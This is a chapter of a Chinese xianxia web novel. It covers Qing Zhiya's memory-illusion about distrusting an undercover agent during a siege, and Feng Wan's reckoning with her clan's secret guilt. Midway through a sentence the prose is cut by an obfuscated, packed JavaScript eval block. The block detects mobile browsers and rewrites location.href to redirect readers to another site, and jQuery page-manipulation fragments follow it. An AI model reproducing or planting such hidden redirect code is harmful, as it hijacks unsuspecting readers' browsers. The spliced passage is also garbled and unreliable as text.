北域军某间机密营帐内,低等级的军官躬身迎接一名少年入内。
“大人,您看。”他向少年热情介绍。
“都在这儿了?”少年斜着眼晲他,一双狭长的细眸压迫感十足。
“是。”这名低级军官点头哈腰,把人送到密道口,再往前就不是他这个等级能接触到的机密了。
少年人看着年纪不大,姿态却摆得十足,微微颔首后独自一人走下阶梯。
地下环境阴冷潮湿,魔气森森,透露着不祥的气氛,少年人没什么反应,他确定四周无人后,便走进总控室,开始日常操作。
这些动作在脑海里已模拟过数遍,他唇畔勾着愉悦的微笑,灵活的手指在阵盘上上下翻飞,连接着天空上飞行法器的指令被一道道篡改。
“别动。”熟悉的锁喉,伴随着浓郁的血腥,以及压抑不住的紊乱呼吸。
少年手指僵硬了一瞬,随后华为无奈,他双手举过头顶,语气和缓,“你怎么进来的?”
“老实点,现在是我问你!你是怎么挣脱我禁制的?”少女微哑却冷冽的声音自背后传出。
“哦,我也是个阵法师。”少年声音带着点笑意,“而且比你这种刚入门的强点。”
“狡猾的魔修。”青稚雅的力气又加大了些许,直勒得那少年魔修呼吸不畅,才算报复完毕似的松了松,“你们这帮家伙谁也别想跑!”
少年白皙的脖颈多了一圈红痕,他咳了好一会儿才喘匀了气,当即讨饶,“把你引过去是我不对,咱们之间的纠纷先缓缓,你面前的这二十几个阵盘可是关系着天上几百件飞行法器,我好不容易混进这里,这场战役成败就在此了。”
然而被骗得遭魔修追杀,差点丢了命的青稚雅压根不信他半句鬼话,少年剑修冷哼,“老实交代,为什么北域军会被魔修完全渗透,你们还顶着北域军的名头跟东域军打,是故意挑起两边战争吗?”
“就算我们不挑拨北域也是想跟东域开战的,北域就指望着从别的域身上捞一票回回血。”
少年翻了个白眼,然而感受到青稚雅的手臂又收紧,他赶紧换了个口风,“是的是的,魔修就是为了挑拨两域之间关系。姐,咱就交底了吧,我真是东域军派来卧底的暗探,谁承想这里边是个魔修窝啊,为了不暴露这不就短暂地改修了下道法。”
“之前坑你也是怕你碍事,你看你也不是东域军,既然不是友军,这坑了也就坑了,战场上还管个锤子的江湖道义。”
少年振振有词,随后语气放缓,“但眼前这事儿不能耽误啊,我潜伏至今,就是为了一举解除这帮孙子的制空权,机会难得啊,大侠,大姐,祖宗,你要是不信我自己去关停那些阵盘也行啊,算我求你行不?”
“先前坑了您,是我不对,你要我这条小命都成,但这些飞行法器投放的灵弹灵炮要的无名岭战士的命啊,晚一秒都不知有多少战士会丧生,我坑你,骗你,难道还能坑自个儿战友不成?我们当兵的,死都不会背叛自己战友的!我发誓!”
少年唱念俱佳,青稚雅本能便不相信,然而就在她想斩钉截铁说出“我不信你”这四个字时却顿住了。
她摸着突然有点疼痛的心口,只觉自己好像忘了什么重要的东西,是什么呢?
青稚雅把自己进入北域军前后发生的事情思考了三遍,有些恍惚地低喃,“因为是战友,所以绝对不会背叛。哪怕是魔修,也非人人恶贯满盈,总归有迫不得已走上这条路的······”
好熟悉的道理啊,到底是谁告诉自己的呢?
青稚雅松开手,看着踉跄着扑向齿轮般转动的层层阵盘前的少年,记忆在一点点复苏。
想起来了,告诉自己这道理的不是某个人,而是眼前之人的一条命,以及无名岭那层化不开血色,还有阵亡名单里熟悉的名字,以及,一卷永远没有完结的话本。
忆境破碎,站在阴冷幽暗的房间内,青稚雅伸出手,捂住了脸。
在她还是个没什么见识、也没什么大局观的练气修士时,曾经犯下过一个无可挽回的错误,她阻碍了一名东域暗探的任务,间接害了坑道里无数将士的性命。
他们本可以等到补给的。
如果那个不知姓名的少年能按照计划修改中枢区下发的指令,如果铺天盖地的轰炸早两天结束,如果那时的她能相信少年人的话。
那么简幽榭便不必带着辛字号军死守坑道,守到死也没等到一滴水。辛字旗不灭,辛字连又换新血,可等来补给跟支援的辛字号军早已不是最初那一批。
那么符泽便不至于在弹尽粮绝的情况下用自己的血绘制符箓,暴尸荒野。据说他死的时候流干了身上最后一滴血,一点都没有往日大侠的风流潇洒。
那么那名至今都不知道姓名的暗探,也不至于在绝望之下自爆于总控室内,只为与那些能控制盘旋于同胞头顶的法器玉石俱焚。
他们本可以活下来的!
一切,皆是因为,青稚雅没有相信一名魔修的话。
因为那时候的青稚雅完全不懂战友二字的分量。
“你可以不相信我,但你要相信我不会害战友!”
“我们曾在一条战壕趴过,曾在一片战场上交托过生死,所以我,至死不会背叛他们!”
“快来不及了,让我再摸一把阵盘,我好不容易,才走到现今这一步!”
字字泣血,不过如此。
“我不信你。”
然而,所有的哀求说理,都止步于一句不信任。
是啊,要怎么相信呢,国法门规,一条条,一例例,皆是遇到魔修即刻上报,能活捉就当场抓获,押送官府或有资质审查的相关机构,不能活捉就地格杀。
身为卧底的暗探拿不出证明自己身份的信物,身为太微子弟的青稚雅被叮嘱过不可暴露身份,双方在一开始便相互猜忌,互不信任,所以最后因为不信任,导致魔修的飞行法器未被全歼,在无名岭上空多轰炸的那两日,又是谁的错呢?
那年,失魂落魄的青稚雅走到相心面前,说:“师姐,我想当大侠。”
我想试试朋友曾经的职业,想找到我的江湖。
想护良善皆无恙,岁岁长安乐未央。
青稚雅平缓了一会儿情绪,觉察到身旁令两人也从忆境挣脱,当即询问,“如何?”
忆境的凶险在于,其以人心情绪最激烈的记忆为背景,却又让投放其中的本体意识丧失现今的记忆,一切全凭潜意识做主,若能勘破,则成功挣脱,若未能,则受忆境所困,至于损伤大小,端看布置忆境者心肠。
像四人当前面对的忆境,若是靠自己潜意识挣脱,则能成功拔除魔种,若不能······
万九气色尚佳,腼腆笑着道谢,“已无大碍,多谢前辈出手。”
沐离音面色不大好,但在青稚雅望过来时也摆了摆手,表示自己无碍。
随即三人望向阵法中闭目的风晚身上,后者表情痛苦,泪流满面,看上去似乎深陷其中,这让众人的心不由得提了起来。
片刻后,风晚倏然睁眼,一口鲜血喷出,身子软软后仰,青稚雅赶忙上前搀扶。
“无碍。”风晚却先一步站定身形,避开了青稚雅伸过来的手。
青稚雅原本想用灵力帮她调理下气息,顺便看看体内魔种有没有拔除干净,但是风晚的表情不太好,故而犹豫着没再上前。
“风道友,你这?”沐离音也察觉出气氛有点不对,谨慎地问道。
风晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852484|160750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿出帕子擦了下唇角,苦笑道:“我看到了独孤府变故的那一晚,让诸位见笑了,此事一直是我心中的伤,不过也请诸位放心,在下不会受魔种控制。”
听这话魔种应该是顺利拔除了,万九对此毫不怀疑,当下道:“我都可以,独孤大小姐当年可是不世出的天才,一定也行的,前辈,我们怎么离开?”
青稚雅有些迟疑地看了风晚一眼,风晚比了个“没问题”的手势,鉴于魔种就算能改变一个人的思想也是潜移默化,断没这么快的道理,出于对风晚的信任,青稚雅便放下了这件事。
“待我恢复灵力,咱们通过传送阵走。”
“好嘞。”
风晚避开沐离音探究的眼神,盘坐在地,闭目调理气息。
有些人阅历渐长,心性磨砺到位,即便丢失记忆,再遭遇当年的意难平,也可通过成熟的心性平安度过。
可有些人,抹消记忆,再次来过,依旧会做出与当时一样的选择,因为做出决定的那个人本质上还是自己。
当时的自己基于当时的考虑,做出了以后自己会后悔的决定,那么以后的自己,没了岁月积累的记忆,依旧会做出一样的决定啊。
苦难虽会令人成长,可是又有多少人是深刻反思直到改变思维方式呢,所谓重来一次,重新选择,也多是基于后世的经验打出的先知局罢了,当记忆被抹消,本性未变的家伙,还是会选择一样的道路,结局不会改变的。
毕竟,就算重生,也不是换了个人,依旧还是自己不是吗?如果没有从某件事中得到改变思考方式的成长,即便重来,结局也一样,
风晚长舒口气,好像认命了一般,是啊,就算再来一次,自己还是会选择逃出独孤府,无论午夜梦回多少次,想回过头与被魔种寄生的亲人拼命,可是,忆境的自己还是被母亲哭泣着送出了独孤府。
原本我以为可以用余生来治愈这段过往,然而命运却开了个大玩笑,兜兜转转,还是逼得她与他们做个了结。
也好,在她知道那些秘辛的时候,就不无辜了。
独孤晚风,作为独孤子弟最自豪的一件事便是爷爷当年抬棺北征,那是全族的骄傲,是独孤军的骄傲,她一直以爷爷为榜样。
直到某次意外,她得知,夜游宫继承了乌夜啼的遗产,并且夜游宫的第一任“酒”乃是狄舞的正夫——独孤。
那么独孤老将军当年的抬棺北征便是一个笑话!
传承至今、有北域守护神之称的独孤家,从头到尾都是个笑话!
独孤不是北域的守护神,是北域的罪人。
她身上流淌着罪人的血脉,她独孤家从上到下,千百年间,不知暗地坑害北域英才多少。而她享受的特权、资源,又有多少是从这些人身上掠夺来的?
独孤晚风原想遵循娘亲的叮嘱,好好活过这一生,不被仇恨蒙蔽,在力所能及的范围内做想做的事,成为自小憧憬的人,努力过后便将结果交给命运。
现今,命运兜兜转转,独孤流落在外的、唯一还算清白的大小姐,终也被种上了魔种,上天是注定姓独孤的都要沦为暗宗的走狗么。
她终究是逃无可逃。
既然无处可逃,那便不必再逃。
独孤晚风一直不齿于狄九万逃避家族责任,实际那个不敢面对家族的胆小鬼,却是她自己。
万般皆由命,半点不由人啊。
回首来时路,苟活至今,竟不知是为娘亲当年的几句话,还是为自己的贪生怕死寻了借口。
风晚轻轻笑开,当生命进入倒计时,她反而看清了眼前的路,之后的路该怎么走,她看得比往常任何时候都清楚。
接下来,她要找一个人。
严谨一点来说,也非人。